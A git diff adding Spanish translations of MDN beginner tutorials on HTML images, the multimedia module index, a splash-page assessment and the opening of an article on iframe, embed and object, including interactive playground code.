+ <li>Delimítalo todo en un elemento {{htmlelement("figure")}}.</li>
+ <li>Copia el texto del atributo <code>title</code>, elimina el atributo <code>title</code>, y pon el texto dentro de un elemento {{htmlelement("figcaption")}} bajo la imagen.</li>
+</ul>
+
+<p>Si te equivocas, siempre puedes volver a empezar pulsando el botón <em>Reiniciar</em>. Si te quedas atascado, presiona el botón <em>Ver solución</em> para ver la respuesta:</p>
+
+<div class="hidden">
+<h6 id="Playable_code_2">Playable code 2</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Live output&lt;/h2&gt;
+
+&lt;div class="output" style="min-height: 50px;"&gt;
+&lt;/div&gt;
+
+&lt;h2&gt;Editable code&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;Press Esc to move focus away from the code area (Tab inserts a tab character).&lt;/p&gt;
+
+&lt;textarea id="code" class="input" style="min-height: 100px; width: 95%"&gt;
+&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Reset"&gt;
+  &lt;input id="solution" type="button" value="Show solution"&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css notranslate">html {
+  font-family: sans-serif;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+body {
+  margin: 10px;
+  background: #f5f9fa;
+}</pre>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var output = document.querySelector('.output');
+var code = textarea.value;
+var userEntry = textarea.value;
+
+function updateCode() {
+  output.innerHTML = textarea.value;
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = htmlSolution;
+  solution.value = 'Show solution';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Show solution') {
+    textarea.value = solutionEntry;
+    solution.value = 'Hide solution';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Show solution';
+  }
+  updateCode();
+});
+
+var htmlSolution = '&lt;figure&gt;\n &lt;img src="https://raw.githubusercontent.com/mdn/learning-area/master/html/multimedia-and-embedding/images-in-html/dinosaur_small.jpg"\n alt="The head and torso of a dinosaur skeleton; it has a large head with long sharp teeth"\n width="200"\n height="171"&gt;\n &lt;figcaption&gt;A T-Rex on display in the Manchester University Museum&lt;/figcaption&gt;\n&lt;/figure&gt;';
+var solutionEntry = htmlSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// stop tab key tabbing out of textarea and
+// make it write a tab at the caret position instead
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  var scrollPos = textarea.scrollTop;
+  var caretPos = textarea.selectionStart;
+
+  var front = (textarea.value).substring(0, caretPos);
+  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Update the saved userCode every time the user updates the text area code
+
+textarea.onkeyup = function(){
+  // We only want to save the state when the user code is being shown,
+  // not the solution, so that solution is not saved over the user code
+  if(solution.value === 'Show solution') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code_2', 700, 350, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h2 id="Imágenes_de_fondo_CSS">Imágenes de fondo CSS</h2>
+
+<p>También puedes usar CSS para insertar imágenes en páginas web (y JavaScript, pero eso ya es otra historia). La propiedad CSS {{cssxref("background-image")}} y las demás propiedades  <code>background-*</code> se usan para controlar la colocación de la imagen de fondo. Por ejemplo, para poner una imagen de fondo en cada párrafo de una página, podríamos hacer esto:</p>
+
+<pre class="brush: css notranslate">p {
+  background-image: url("images/dinosaur.jpg");
+}</pre>
+
+<p>La imagen resultante, podría decirse que es más fácil de posicionar y controlar que una imagen HTML. Entonces ¿para qué molestarse usando imágenes HTML? Como se sugiere arriba, las imágenes de fondo CSS son solo para decoración. Si tan solo quieres añadir algo bonito para mejorar visualmente tu página, están bien. Sin embargo, no tienen ningún significado semántico. No pueden tener su equivalente en texto, son invisibles a los lectores de pantalla, etc. ¡Es entonces cuando las imágenes HTML triunfan!</p>
+
+<p>En resumen: si una imagen tiene significado en términos del contenido de tu página, entonces deberías usar una imagen HTML. Si la imagen es puramente decorativa, deberías usar imágenes de fondo CSS.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Aprenderás mucho más sobre las <a href="/es/docs/Learn/CSS/Building_blocks/Fondos_y_bordes">imágenes de fondo CSS</a> en nuestro apartado <a href="/en-US/docs/Learn/CSS">CSS</a>.</p>
+</div>
+
+<p>Esto es todo por ahora. Hemos expuesto en detalle los conceptos relativos a imágenes y subtítulos de imagen. En el próximo artículo, subiremos un nivel para insertar vídeo y audio en páginas web con HTML.</p>
+
+<p>{{NextMenu("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">Imágenes en HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">Contenido de video y audio</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies">De &lt;object&gt; a &lt;iframe&gt;: otras tecnologías de incrustación</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">Añadir gráficos vectoriales a la web</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Imágenes <em>responsive</em> (adaptativas)</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page">Página de bienvenida de Mozilla</a></li>
+</ul>
+</figure>
diff --git a/files/es/learn/html/multimedia_and_embedding/index.html b/files/es/learn/html/multimedia_and_embedding/index.html
new file mode 100644
index 0000000000..5e0ffe97a8
--- /dev/null
+++ b/files/es/learn/html/multimedia_and_embedding/index.html
@@ -0,0 +1,73 @@
+---
+title: Multimedia e inserción
+slug: Learn/HTML/Multimedia_and_embedding
+tags:
+  - Aprender
+  - Audio
+  - Codificación de Secuencia de comandos
+  - Evaluación
+  - Flash
+  - Gráficos vectoriales
+  - Guía
+  - HTML
+  - Imagenes
+  - Inserción
+  - Landing
+  - Mapa de Imágenes
+  - Multimedia
+  - Principiante
+  - SVG
+  - Video
+  - Web
+  - iframes
+  - img
+  - receptivo
+translation_of: Learn/HTML/Multimedia_and_embedding
+---
+<p class="summary">Hemos visto mucho texto hasta ahora en este curso, pero la web sería realmente aburrida solo usando textos. ¡Comencemos observando como hacer que la web cobre vida, con mucho más contenido interesante! Este módulo te acompañará a explorar maneras de usar HTML para incluir multimedia a tus páginas web, y las diferentes formas en la que podrás hacerlo, incluyendo como enlazar videos, audios e incluso otras páginas webs.</p>
+
+<h2 id="Requisitos_previos">Requisitos previos</h2>
+
+<p>Antes de empezar con este módulo, deberías tener un buen conocimiento de las bases de HTML, enseñadas en <a href=" /es/docs/Learn/HTML/Introduccion_a_HTML">Introducción a HTML</a>. Si no has estado trabajando en este módulo (o alguno similar), ¡hazlo y luego vuelve!</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Si estas trabajando en un ordenador/tablet/u otro dispositivo donde no puedas crear tus propios archivos, puedes probar (la mayoría de ellos) los ejemplos de código en programas online de codificado como <a href="http://jsbin.com/">JSBin</a> o <a href="https://thimble.mozilla.org/">Glitch</a>.</p>
+</div>
+
+<h2 id="Guías">Guías</h2>
+
+<p>Este módulo contiene los siguientes artículos que te enseñarán todo lo fundamental sobre introducir multimedia en páginas web.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">Imágenes en HTML</a></dt>
+ <dd>Hay otros tipos de multimedia a considerar, pero es logico empezar con el humilde elemento {{htmlelement("img")}}, usado para incorporar una imagen simple en una página web. En este artículo veremos cúmo usarlo en profundidad, incluyendo los conceptos básicos, y contenido independiente con título usando  {{htmlelement("figure")}}, y cómo relacionarlos con las imágenes de fondo de CSS.</dd>
+ <dt><a href=" /en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">Contenido de Audio y Video</a></dt>
+ <dd>A continuación, veremos como usar los elementos de HTML5 {{htmlelement("video")}} y {{htmlelement("audio")}}, para insertar video y audio en nuestras páginas, incluyendo conceptos básicos, proporcionando acceso a diferentes formatos de archivo para diferentes navegadores, agregando ilustraciones y subtítulos y cómo resolver inconvenientes en navegadores más antiguos.</dd>
+ <dt><a href=" /en-US/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies">De &lt;object&gt; a &lt;iframe&gt; - otras tecnologías de inserción</a></dt>
+ <dd>En este punto, nos gustaría dar un paso hacia un lado, mirando algunos de los elementos que te permiten insertar una amplia variedad de tipos de contenido en tus páginas web: los elementos {{htmlelement("iframe")}}, {{htmlelement("embed")}} y {{htmlelement("object")}}.<br>
+ El elemento &lt;iframe&gt; nos permite incluir otras páginas web, y las otras dos permiten insertar archivos de formato PDF, SVG e incluso Flash -una tecnología que está a punto de desaparecer, pero que todavía puede verse de manera semi-regular-.</dd>
+ <dt><a href=" /en-US/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">Añadiendo graficos vectoriales a la Web </a></dt>
+ <dd>Los gráficos vectoriales pueden ser muy útiles en ciertas situaciones. A diferencia de los formatos normales como PNG / JPG, estos no se distorsionan/pixelizan cuando se los amplían -pueden permanecer suaves cuando se escalan-. Este artículo te introduce al concepto de gráficos vectoriales y cómo incluir el popular formato {{glossary ("SVG")}} en páginas web.</dd>
+ <dt><a href=" /en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Imagenes receptivas</a></dt>
+ <dd>En este artìculo, aprenderás acerca del concepto de imágenes receptivas -imágenes que pueden adaptarse en dispositivos con grandes diferencias de tamaños de pantalla, resoluciones y otras características-. Esto te ayudará a mejorar el rendimiento en diferentes dispositivos. Las imágenes receptivas son sólo una parte del diseño receptivo, un tópico que a futuro aprenderás en CSS.</dd>
+</dl>
+
+<h2 id="Evaluaciones">Evaluaciones</h2>
+
+<p>Las siguientes evaluaciones pondrán a prueba tu comprensión de los conceptos básicos de HTML vistos en las guías anteriores.</p>
+
+<dl>
+ <dt><a href=" /en-US/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page">Página de bienvenida de Mozilla</a></dt>
+ <dd>En esta evaluación, probaremos tu conocimiento de algunas de las técnicas observadas en los artículos de este módulo, ¡lo que te permitirá agregar algunas imágenes y videos a una página original de Mozilla!</dd>
+</dl>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<dl>
+ <dt><a href=" /en-US/docs/Learn/HTML/Howto/Add_a_hit_map_on_top_of_an_image">Agregar un mapa de visitas en la parte superior de una imagen</a></dt>
+ <dd>Los mapas de imágenes proporcionan un mecanismo para hacer diferentes partes de un enlace de imagen a diferentes lugares (piense en un mapa, vinculándolo a más información sobre cada país diferente al que haga clic). Esta técnica a veces puede ser útil.</dd>
+ <dt><a href="https://learning.mozilla.org/en-US/activities/web-lit-basics-two/">Conceptos básicos de escritura web 2</a></dt>
+ <dd>
+ <p>Un excelente curso básico de la fundación Mozilla que explora y prueba algunas de las habilidades mencionadas en el módulo Multimedia e inclusión. Sumérgete en los aspectos básicos de la composición de páginas web, diseño de accesibilidad, uso compartido de recursos, uso de medios en línea y trabajo abierto (significa que tu contenido es libre de compartirse con otros).</p>
+ </dd>
+</dl>
diff --git a/files/es/learn/html/multimedia_and_embedding/mozilla_splash_page/index.html b/files/es/learn/html/multimedia_and_embedding/mozilla_splash_page/index.html
new file mode 100644
index 0000000000..662d565e31
--- /dev/null
+++ b/files/es/learn/html/multimedia_and_embedding/mozilla_splash_page/index.html
@@ -0,0 +1,138 @@
+---
+title: Página de bienvenida de Mozilla
+slug: Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page
+tags:
+  - Codificación de Secuencia de comandos
+  - CodingScripting
+  - Evaluación
+  - HTML
+  - Imagenes
+  - Inserción
+  - JPEG
+  - Medidas
+  - Multimedia
+  - PNG
+  - Principiante
+  - Video
+  - iframe
+  - img
+  - receptivo
+  - src
+  - srcset
+translation_of: Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenu("Learn/HTML/Multimedia_and_embedding/Responsive_images", "Learn/HTML/Multimedia_and_embedding")}}</div>
+
+<p class="summary">En esta evaluación, pondremos a prueba tu conocimiento de algunas de las técnicas mostradas en los artículos de este módulo, ¡para que tú agregues algunas imágenes y videos a una página de bienvenida de Mozzilla!.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Requisitos previos:</th>
+   <td>Antes de intentar esta evaluación, ya deberías conocer el módulo de <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding">Multimedia e inserción</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Prueba cuánto sabes de la incorporación de imágenes y videos en páginas web, marcos y técnicas de imagen receptiva a HTML.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Punto_de_partida">Punto de partida</h2>
+
+<p>Para comenzar esta evaluación, necesitas el HTML y todas las imágenes de <a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/mdn-splash-page-start/">mdn-splash-page-start</a> que tienes en la carpeta de GitHub. Guarda el contenido de <a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/mdn-splash-page-start/index.html">index.html</a> en un archivo llamado <code>index.html</code> en tu disco local, en una nueva carpeta. Guarda <a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/mdn-splash-page-start/pattern.png">pattern.png</a> en la misma carpeta (haciendo click derecho en la imagen y seleccionando la opción guardar).</p>
+
+<p>Accede a las diferentes imágenes en la carpeta de <a href="https://github.com/mdn/learning-area/tree/master/html/multimedia-and-embedding/mdn-splash-page-start/originals">originals</a> y guárdalas también de la misma manera. De momento puedes guardarlas en una carpeta diferente, ya que podrías necesitar modificarlas usando un editor de gráficos antes de que estén listas para usarlas.</p>
+
+<p>También puedes usar una herramienta en línea como <a href="https://glitch.com/">Glitch</a> para crear tu ejemplo. Esto puede ser útil si quieres evaluarlo o pedir ayuda — consulta la sección  {{anch("Assessment or further help")}} al final de esta página.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: El archivo HTML de ejemplo contiene bastante CSS para dar estilo a la página. No necesitas tocar el CSS, solo el HTML dentro del elemento {{htmlelement("body")}}, mientras que insertes el marcado correctamente, el estilo se mantendrá.</p>
+</div>
+
+<h2 id="Resumen_del_proyecto">Resumen del proyecto</h2>
+
+<p>En esta evaluación, te presentamos una página de bienvenida de Mozzilla en su mayoría terminada, que tiene como objetivo decir algo agradable e interesante sobre lo que significa Mozilla, y proporcionar algunos enlaces a recursos adicionales. Desafortunadamente, aún no se han agregado imágenes o videos, ¡este es tu trabajo!. Debes añadir algunos elementos para que la página se vea bien y tenga sentido. Las siguientes subsecciones detallan lo que tienes que hacer:</p>
+
+<h3 id="Preparar_las_imágenes">Preparar las imágenes</h3>
+
+<p>Usa tu editor de imágenes favorito, y utiliza medidas de 400px de ancho y 120px de alto para:</p>
+
+<ul>
+ <li><code>firefox_logo-only_RGB.png</code></li>
+ <li><code>firefox-addons.jpg</code></li>
+ <li><code>mozilla-dinosaur-head.png</code></li>
+</ul>
+
+<p>Nómbralas por ejemplo, <code>firefoxlogo400.png</code> y <code>firefoxlogo120.png</code>.</p>
+
+<p>Junto con <code>mdn.svg</code>, estas imágenes serán tus iconos para vincular a otros recursos, dentro del área <code>further-info</code>. Debes vincular al logo de Firefox en el encabezado del sitio. Guarda copias de todos estos dentro de la misma carpeta que <code>index.html</code>.</p>
+
+<p>A continuación, crea una versión horizontal de 1200px de <code>red-panda.jpg</code>, y una versión vertical de 600px que muestre al panda en una toma de primer plano. Una vez más, ponle un nombre para que puedas identificarlos fácilmente. Guarda una copia de ambos en la misma carpeta que <code>index.html</code>.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Debes optimizar las imágenes JPG y PNG para que sean lo más pequeñas posible, viéndose bien. <a href="https://tinypng.com/">tinypng.com</a> es un gran servicio para hacerlo fácilmente.</p>
+</div>
+
+<h3 id="Añadir_logo_al_encabezado">Añadir logo al encabezado</h3>
+
+<p>El elemento {{htmlelement("header")}}, añade el elemento {{htmlelement("img")}} que insertará la versión pequeña del logotipo de Firefox al encabezado.</p>
+
+<h3 id="Añadir_un_video_al_contenido_del_artículo_principal">Añadir un video al contenido del artículo principal</h3>
+
+<p>Justo dentro del elemento {{htmlelement("article")}} (debajo de la etiqueta de apertura), inserta el video de Youtube <a href="https://www.youtube.com/watch?v=ojcNcvb1olg">https://www.youtube.com/watch?v=ojcNcvb1olg</a>, utilizando las herramientas de YouTube para generar el código. El video debe tener 400px de ancho.</p>
+
+<h3 id="Agregar_imágenes_receptivas_a_los_enlaces_de_información_adicional">Agregar imágenes receptivas a los enlaces de información adicional</h3>
+
+<p> Dentro de {{htmlelement("div")}} con clase <code>further-info</code> encontrarás cuatro elementos {{htmlelement("a")}} -cada uno de los cuales vincula a una página interesante relacionada con Mozilla-. Para completar esta sección, debes insertar un elemento {{htmlelement("img")}} dentro de cada uno que contenga los atributos {{htmlattrxref("src", "img")}}, {{htmlattrxref("alt", "img")}}, {{htmlattrxref("srcset", "img")}} y {{htmlattrxref("sizes", "img")}}.</p>
+
+<p>En cada caso, (excepto uno que es inherentemente receptivo) queremos que el navegador sirva la versión 120px cuando el ancho de la ventana de visualización sea de 500px o menos, o la versión de 400px en otro caso.</p>
+
+<p>¡Asegúrate de hacer coincidir las imágenes correctas con los enlaces correctos!</p>
+
+<div class="note">
+<p><strong>Nota</strong>: para probar correctamente los ejemplos <code>srcset</code>/<code>sizes</code> necesitarás cargar tu sitio a un servidor (usar <a href="/en-US/docs/Learn/Common_questions/Using_Github_pages">Github pages</a> es una solución fácil y gratis), y desde allí puedes probar si funcionan correctamente usando herramientas de desarrollo del navegador como Firefox <a href="/en-US/docs/Tools/Network_Monitor">Network Monitor</a>.</p>
+</div>
+
+<h3 id="Un_red-panda_con_arte_dirigido">Un "red-panda" con arte dirigido</h3>
+
+<p>Dentro del elemento {{htmlelement("div")}} con clase <code>red-panda</code>, queremos insertar un elemento {{htmlelement("picture")}} que permita una imagen pequeña del panda si la ventana tiene 600px de ancho o menos, y la gran imagen del paisaje en caso contrario.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Las siguientes capturas de pantalla muestran como debería verse la página de bienvenida después de haber sido marcada correctamente, en una pantalla ancha y estrecha.</p>
+
+<p><img alt="A wide shot of our example splash page" src="https://mdn.mozillademos.org/files/12946/wide-shot.png" style="border-style: solid; border-width: 1px; display: block; height: 620px; margin: 0px auto; width: 700px;"></p>
+
+<p><img alt="A narrow shot of our example splash page" src="https://mdn.mozillademos.org/files/12944/narrow-shot.png" style="border-style: solid; border-width: 1px; display: block; height: 1069px; margin: 0px auto; width: 320px;"></p>
+
+<h2 id="Evaluación_o_ayuda_adicional">Evaluación o ayuda adicional</h2>
+
+<p>Si quieres evaluar tu trabajo, estás atorado o quieres pedir ayuda:</p>
+
+<ol>
+ <li>Pon tu trabajo en un editor en línea para compartir, como <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, or <a href="https://glitch.com/">Glitch</a>. Glitch es probablemente el mejor para este ejemplo, porque permite cargar propiedades como imágenes, mientras que algunas de las otras herramientas no lo hacen.</li>
+ <li>Escribe una publicación solicitando evaluación y/o ayuda en el foro <a href="https://discourse.mozilla.org/c/mdn">MDN Discourse forum</a>. Agrega la etiqueta "aprendizaje" a tu publicación para que podamos encontrarla más fácilmente. Tu publicación debe incluir:
+  <ul>
+   <li>Un título descriptivo como "Evaluación para página de bienvenida de Mozilla".</li>
+   <li>Detalles de lo que quiera que hagamos, por ejemplo, lo que ya has intentado, si estás atascado y necesitas ayuda.</li>
+   <li>Un enlace al ejemplo que deseas evaluar o en el que necesitas ayuda, en un editor en línea. Ésta es una buena práctica: es muy difícil ayudar a alguien con un problema de codificación si no puede ver su código.</li>
+   <li>Un enlace a la página de evaluación actual, para que podamos encontrar la pregunta con la que desea ayuda.</li>
+  </ul>
+ </li>
+</ol>
+
+<p>{{PreviousMenu("Learn/HTML/Multimedia_and_embedding/Responsive_images", "Learn/HTML/Multimedia_and_embedding")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">Imágenes in HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies">Contenido de Audio y Video</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies">De &lt;object&gt; to &lt;iframe&gt; - otras tecnologías de inserción</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">Agregar gráficos vectoriales a la Web</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Imágenes receptivas</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page">Página de bienvenida de Mozilla</a></li>
+</ul>
diff --git a/files/es/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html b/files/es/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html
new file mode 100644
index 0000000000..67b01247a4
--- /dev/null
+++ b/files/es/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html
@@ -0,0 +1,371 @@
+---
+title: Desde object hasta iframe - otras tecnologías de incrustación
+slug: Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies
+translation_of: Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding")}}</div>
+
+<p class="summary">Ahora ya deberías estar acostumbrado a integrar cosas en tus páginas web, incluyendo imágenes, video y audio. En este punto nos gustaría que des algo así como un paso al costado, prestando atención a elementos que te permiten integrar una amplia variedad de tipos de contenido en tus páginas web: los elementos {{htmlelement("iframe")}}, {{htmlelement("embed")}} y {{htmlelement("object")}}. Los <code>&lt;iframe&gt;</code>s son para incrustar otras páginas web, y los otros dos te permiten incrustar PDFs, SVG e incluso Flash — una tecnología que está en su camino de despedida, pero la cual seguirás viendo semi-regularmente.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conocimientos básicos de informática, <a href="/es/docs/Learn/Getting_started_with_the_web/Instalacion_de_software_basico">software básico instalado</a>, conocimientos básicos de  <a href="/es/docs/Learn/Getting_started_with_the_web/Manejando_los_archivos">manejo de archivos</a>, familiaridad con los fundamentos de HTML (visto en <a href="/es/docs/Learn/HTML/Introduccion_a_HTML/iniciar">Iniciando en HTML</a>) y los artículos previos en este modulo.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>To learn how to embed items into web pages using {{htmlelement("object")}}, {{htmlelement("embed")}}, and {{htmlelement("iframe")}}, like Flash movies and other webpages.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Enlace_a_la_sección_Una_breve_historia_de_incrustación">Enlace a la sección: Una breve historia de incrustación</h2>
+
+<p>Hace mucho tiempo en la Web, era popular usar <strong>marcos (frames)</strong> para crear sitios web, pequeñas partes de un sitio web almacenadas en páginas HTML individuales. Estos estaban incrustados en un documento maestro llamado <strong>conjunto de marcos (frameset)</strong>, que le permitía especificar el área en la pantalla que ocupaba cada cuadro, como el tamaño de las columnas y las filas de una tabla. Estos fueron considerados el colmo del frescor a mediados y finales de los 90, y había evidencia de que tener una página web dividida en trozos más pequeños como este era mejor para velocidades de descarga, especialmente notable con conexiones de red tan lentas en ese momento. Sin embargo, tuvieron muchos problemas, que superaron con creces cualquier aspecto positivo ya que las velocidades de red se hicieron más rápidas, por lo que ya no se ve que se usen.</p>
+
+<p>Poco tiempo después (finales de los 90, principios de 2000), las tecnologías de complementos se volvieron muy populares, como los Applets de Java y Flash . Esto permitió a los desarrolladores web incorporar contenido enriquecido en páginas web como videos y animaciones, que simplemente no estaban disponibles solo a través de HTML. La incrustación de estas tecnologías se logró a través de elementos como <code>&lt;object&gt;</code> y el menos utilizado <code>&lt;embed&gt;</code> , que fueron muy útiles en ese momento. Desde entonces, pasaron de moda debido a muchos problemas, incluidos el acceso, la seguridad, el tamaño del archivo y entre otros; en la actualidad, la mayoría de los dispositivos móviles ya no son compatibles con estos complementos, y el soporte de escritorio está en camino de desaparecer.</p>
+
+<p>Finalmente, apareció el elemento <code>&lt;iframe&gt;</code> (junto con otras formas de incrustación de contenido, como <code>&lt;canvas&gt;</code> , <code>&lt;video&gt;</code> , etc.). Esto proporciona una forma de insertar un documento web entero dentro de otro, como si fuera un <code>&lt;img&gt;</code> u otro elemento similar, y  asi es como se usa en la actualidad.</p>
+
+<p>Con la lección de historia fuera del camino, sigamos y veamos cómo usar algunos de estos.</p>
+
+<h2 id="Aprendizaje_activo_usos_de_incrustación_clásicos">Aprendizaje activo: usos de incrustación clásicos</h2>
+
+<p>En este artículo vamos a ir directamente a una sección de aprendizaje activo, para darle una idea real de la utilidad de las tecnologías de inclusión. El mundo en línea está muy familiarizado con Youtube, pero muchas personas no conocen algunas de las comodidades para compartir que tiene disponibles. Veamos cómo Youtube nos permite insertar un video en cualquier página que nos guste usando un <code>&lt;iframe&gt;</code> .</p>
+
+<ol>
+ <li>Primero, ve a Youtube y encuentra el video que te gusta.</li>
+ <li>Debajo del video, encontrará un botón <em>Compartir</em> : seleccionelo para mostrar las opciones para compartir.</li>
+ <li>Seleccione el botón <em>Insertar</em> y recibirá un código <code>&lt;iframe&gt;</code> - copielo.</li>
+ <li>Insértelo en el cuadro de <em>entrada a</em> continuación, y vea cuál es el resultado en la <em>salida</em> .</li>
+</ol>
+
+<p>Para obtener puntos de bonificación, también puede intentar insertar un mapa de Google en el ejemplo:</p>
+
+<ol>
+ <li>Ve a Google Maps y encuentra un mapa que te guste.</li>
+ <li>Haga clic en el "Menú Hamburger" (tres líneas horizontales) en la esquina superior izquierda de la IU.</li>
+ <li>Seleccione la opción <em>Compartir o Insertar mapa</em> .</li>
+ <li>Seleccione la opción Insertar mapa, que le dará un código <code>&lt;iframe&gt;</code> - copielo.</li>
+ <li>Insértelo en el cuadro de <em>entrada a</em> continuación, y vea cuál es el resultado en la <em>salida</em> .</li>
+</ol>
+
+<p>Si comete un error, siempre puede restablecerlo usando el botón <em>Restablecer</em> . Si realmente te quedas atascado, presiona el botón <em>Mostrar solución</em> para ver una respuesta.</p>
+
+<div class="hidden">
+<h6 id="Código_interactivo">Código interactivo</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Live output&lt;/h2&gt;
+
+&lt;div class="output" style="min-height: 250px;"&gt;
+&lt;/div&gt;
+
+&lt;h2&gt;Editable code&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;Press Esc to move focus away from the code area (Tab inserts a tab character).&lt;/p&gt;
+
+&lt;textarea id="code" class="input" style="width: 95%;min-height: 100px;"&gt;
+&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Reset"&gt;
+  &lt;input id="solution" type="button" value="Show solution"&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css notranslate">html {
+  font-family: sans-serif;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+body {
+  margin: 10px;
+  background: #f5f9fa;
+}</pre>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var output = document.querySelector('.output');
+var code = textarea.value;
+var userEntry = textarea.value;
+
+function updateCode() {
+  output.innerHTML = textarea.value;
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = htmlSolution;
+  solution.value = 'Show solution';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Show solution') {
+    textarea.value = solutionEntry;
+    solution.value = 'Hide solution';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Show solution';
+  }
+  updateCode();
+});
+
